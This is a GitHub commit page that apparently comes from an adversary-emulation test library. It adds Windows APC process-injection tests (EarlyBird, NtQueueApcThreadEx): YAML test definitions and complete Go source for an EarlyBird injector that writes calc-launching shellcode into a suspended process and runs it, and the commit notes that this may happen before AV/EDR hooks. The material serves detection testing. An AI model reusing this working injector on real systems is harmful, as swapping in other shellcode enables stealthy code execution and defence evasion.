Skip to content

Commit

Permalink
Add tests for various shellcode running techniques using Go (#2627)
Browse files Browse the repository at this point in the history
* Adding shellcode running techniques using Go

* Removing auto-generated guid before PR

---------

Co-authored-by: navsec <[email protected]>
  • Loading branch information
navsec and navsec authored Dec 1, 2023
1 parent 23aa1d2 commit 6879f4e
Show file tree
Hide file tree
Showing 28 changed files with 3,127 additions and 0 deletions.
56 changes: 56 additions & 0 deletions atomics/T1055.004/T1055.004.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -33,3 +33,59 @@ atomic_tests:
command: |
"#{exe_binary}"
name: command_prompt
- name: EarlyBird APC Queue Injection in Go
description: |
Creates a process in a suspended state and calls QueueUserAPC WinAPI to add a UserAPC to the child process that points to allocated shellcode.
ResumeThread is called which then calls NtTestAlert to execute the created UserAPC which then executes the shellcode.
This technique allows for the early execution of shellcode and potentially before AV/EDR can hook functions to support detection.
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocesswithpipe)
- References:
- https://www.bleepingcomputer.com/news/security/early-bird-code-injection-technique-helps-malware-stay-undetected/
- https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection
supported_platforms:
- windows
input_arguments:
spawn_process_path:
description: Path of the binary to spawn
type: string
default: C:\Windows\System32\werfault.exe
spawn_process_name:
description: Name of the process to spawn
type: string
default: werfault
executor:
name: powershell
elevation_required: false
command: |
$PathToAtomicsFolder\T1055.004\bin\x64\EarlyBird.exe -program "#{spawn_process_path}" -debug
cleanup_command: |
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Stop-Process -Name "#{spawn_process_name}" -ErrorAction SilentlyContinue
- name: Remote Process Injection with Go using NtQueueApcThreadEx WinAPI
description: |
Uses the undocumented NtQueueAPCThreadEx WinAPI to create a "Special User APC" in the current thread of the current process to execute shellcode.
Since the shellcode is loaded and executed in the current process it is considered local shellcode execution.
Steps taken with this technique
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
3. Change the memory page permissions to Execute/Read with VirtualProtect
4. Get a handle to the current thread
5. Execute the shellcode in the current thread by creating a Special User APC through the NtQueueApcThreadEx function
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#rtlcreateuserthread)
- References:
- https://repnz.github.io/posts/apc/user-apc/
- https://docs.rs/ntapi/0.3.1/ntapi/ntpsapi/fn.NtQueueApcThreadEx.html
- https://0x00sec.org/t/process-injection-apc-injection/24608
- https://twitter.com/aionescu/status/992264290924032005
- http://www.opening-windows.com/techart_windows_vista_apc_internals2.htm#_Toc229652505
supported_platforms:
- windows
executor:
name: powershell
elevation_required: false
command: |
$PathToAtomicsFolder\T1055.004\bin\x64\NtQueueApcThreadEx.exe -debug
cleanup_command: |
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Binary file added atomics/T1055.004/bin/x64/EarlyBird.exe
Binary file not shown.
Binary file added atomics/T1055.004/bin/x64/NtQueueApcThreadEx.exe
Binary file not shown.
189 changes: 189 additions & 0 deletions atomics/T1055.004/src/x64/EarlyBird.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,189 @@
//go:build windows
// +build windows

// CREDIT: https://raw.githubusercontent.com/Ne0nd0g/go-shellcode/master/cmd/EarlyBird/main.go
// Concept pulled from https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/

/*
This program executes shellcode in a child process using the following steps:
1. Create a child proccess in a suspended state with CreateProcessW
2. Allocate RW memory in the child process with VirtualAllocEx
3. Write shellcode to the child process with WriteProcessMemory
4. Change the memory permissions to RX with VirtualProtectEx
5. Add a UserAPC call that executes the shellcode to the child process with QueueUserAPC
6. Resume the suspended program with ResumeThread function
*/

package main

import (
"encoding/hex"
"flag"
"fmt"
"log"
"os"
"syscall"
"unsafe"

// Sub Repositories
"golang.org/x/sys/windows"
)

func main() {
verbose := flag.Bool("verbose", false, "Enable verbose output")
debug := flag.Bool("debug", false, "Enable debug output")
program := flag.String("program", "C:\\Windows\\System32\\notepad.exe", "The program to start and inject shellcode into")
args := flag.String("args", "", "Program command line arguments")
flag.Usage = func() {
flag.PrintDefaults()
os.Exit(0)
}
flag.Parse()

// Pop Calc Shellcode (x64)
shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
if errShellcode != nil {
log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
}

if *debug {
fmt.Println("[DEBUG]Loading kernel32.dll and ntdll.dll...")
}

// Load DLLs and Procedures
kernel32 := windows.NewLazySystemDLL("kernel32.dll")

if *debug {
fmt.Println("[DEBUG]Loading supporting procedures...")
}
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
QueueUserAPC := kernel32.NewProc("QueueUserAPC")

// Create child proccess in suspended state
/*
BOOL CreateProcessW(
LPCWSTR lpApplicationName,
LPWSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCWSTR lpCurrentDirectory,
LPSTARTUPINFOW lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
*/

if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling CreateProcess to start:\r\n\t%s %s...", *program, *args))
}
procInfo := &windows.ProcessInformation{}
startupInfo := &windows.StartupInfo{
Flags: windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED,
ShowWindow: 1,
}
errCreateProcess := windows.CreateProcess(syscall.StringToUTF16Ptr(*program), syscall.StringToUTF16Ptr(*args), nil, nil, true, windows.CREATE_SUSPENDED, nil, nil, startupInfo, procInfo)
if errCreateProcess != nil && errCreateProcess.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling CreateProcess:\r\n%s", errCreateProcess.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully created the %s process in PID %d", *program, procInfo.ProcessId))
}

// Allocate memory in child process
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualAllocEx on PID %d...", procInfo.ProcessId))
}
addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(procInfo.Process), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)

if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
}

if addr == 0 {
log.Fatal("[!]VirtualAllocEx failed and returned 0")
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully allocated memory in PID %d", procInfo.ProcessId))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Shellcode address: 0x%x", addr))
}

// Write shellcode into child process memory
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling WriteProcessMemory on PID %d...", procInfo.ProcessId))
}
_, _, errWriteProcessMemory := WriteProcessMemory.Call(uintptr(procInfo.Process), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))

if errWriteProcessMemory != nil && errWriteProcessMemory.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully wrote %d shellcode bytes to PID %d", len(shellcode), procInfo.ProcessId))
}

// Change memory permissions to RX in child process where shellcode was written
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualProtectEx on PID %d...", procInfo.ProcessId))
}
oldProtect := windows.PAGE_READWRITE
_, _, errVirtualProtectEx := VirtualProtectEx.Call(uintptr(procInfo.Process), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
if errVirtualProtectEx != nil && errVirtualProtectEx.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("Error calling VirtualProtectEx:\r\n%s", errVirtualProtectEx.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully changed memory permissions to PAGE_EXECUTE_READ in PID %d", procInfo.ProcessId))
}

// QueueUserAPC
if *debug {
fmt.Println("[DEBUG]Calling QueueUserAPC")
}

ret, _, err := QueueUserAPC.Call(addr, uintptr(procInfo.Thread), 0)
if err != nil && errVirtualProtectEx.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling QueueUserAPC:\n%s", err.Error()))
}
if *debug {
fmt.Printf("[DEBUG]The QueueUserAPC call returned %v\n", ret)
}
if *verbose {
fmt.Printf("[-]Successfully queued a UserAPC on process ID %d\n", procInfo.ProcessId)
}

// Resume the child process
if *debug {
fmt.Println("[DEBUG]Calling ResumeThread...")
}
_, errResumeThread := windows.ResumeThread(procInfo.Thread)
if errResumeThread != nil {
log.Fatal(fmt.Sprintf("[!]Error calling ResumeThread:\r\n%s", errResumeThread.Error()))
}
if *verbose {
fmt.Println("[+]Process resumed and shellcode executed")
}

// Close the handle to the child process
if *debug {
fmt.Println("[DEBUG]Calling CloseHandle on child process...")
}
errCloseProcHandle := windows.CloseHandle(procInfo.Process)
if errCloseProcHandle != nil {
log.Fatal(fmt.Sprintf("[!]Error closing the child process handle:\r\n\t%s", errCloseProcHandle.Error()))
}

// Close the hand to the child process thread
if *debug {
fmt.Println("[DEBUG]Calling CloseHandle on child process thread...")
}
errCloseThreadHandle := windows.CloseHandle(procInfo.Thread)
if errCloseThreadHandle != nil {
log.Fatal(fmt.Sprintf("[!]Error closing the child process thread handle:\r\n\t%s", errCloseThreadHandle.Error()))
}
}

// export GOOS=windows GOARCH=amd64;go build -o EarlyBird.exe ./EarlyBird.go
Loading

0 comments on commit 6879f4e

Please sign in to comment.